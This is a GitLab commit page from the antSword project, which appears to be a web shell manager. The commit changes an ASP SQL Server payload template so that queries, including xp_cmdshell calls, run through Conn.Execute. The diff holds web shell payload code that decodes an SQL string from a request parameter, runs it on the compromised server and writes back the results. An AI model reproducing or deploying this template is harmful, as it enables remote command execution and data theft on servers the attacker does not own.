Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
c07eb3e7
Commit
c07eb3e7
authored
Dec 23, 2019
by
ca3tie1
Committed by
Medicean
Dec 14, 2021
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
解决ASP连SQLSERVER执行xp_cmdshell爆"驱动程序不支持所需的属性的"问题
parent
6abc7cac
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
14 additions
and
11 deletions
+14
-11
sqlserver.js
source/core/asp/template/database/sqlserver.js
+14
-11
No files found.
source/core/asp/template/database/sqlserver.js
View file @
c07eb3e7
...
...
@@ -99,26 +99,29 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Response.Write HD&Err.Description&CO&RN:
Err.Clear:
Else:
Set Rs=CreateObject("Adodb.Recordset"):
Rs.open ""&bd(Request("
${
arg2
}
"))&"",Conn,1,1:
Set Rs=Conn.Execute(""&bd(Request("
${
arg2
}
"))&""):
If Err Then:
Response.Write HD&Err.Number&":"&Err.Description&CO&RN:
Err.Clear:
Else:
Dim FN:
FN=Rs.Fields.Count-1:
For n=0 To FN:
Response.Write Rs.Fields.Item(n).Name&CO:
Next:
Response.Write RN:
Do While Not(Rs.Eof Or Rs.Bof):
If FN=-1 Then:
Response.Write HD&"Execute Successfully!"&CO&RN:
Else:
For n=0 To FN:
Response.Write Rs(n):
Response.Write CO:
Response.Write Rs.Fields.Item(n).Name&CO:
Next:
Response.Write RN:
Rs.MoveNext:
Loop:
Do While Not(Rs.Eof Or Rs.Bof):
For n=0 To FN:
Response.Write Rs(n):
Response.Write CO:
Next:
Response.Write RN:
Rs.MoveNext:
Loop:
End If:
End If:
Set Rs=Nothing:
Conn.Close:
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment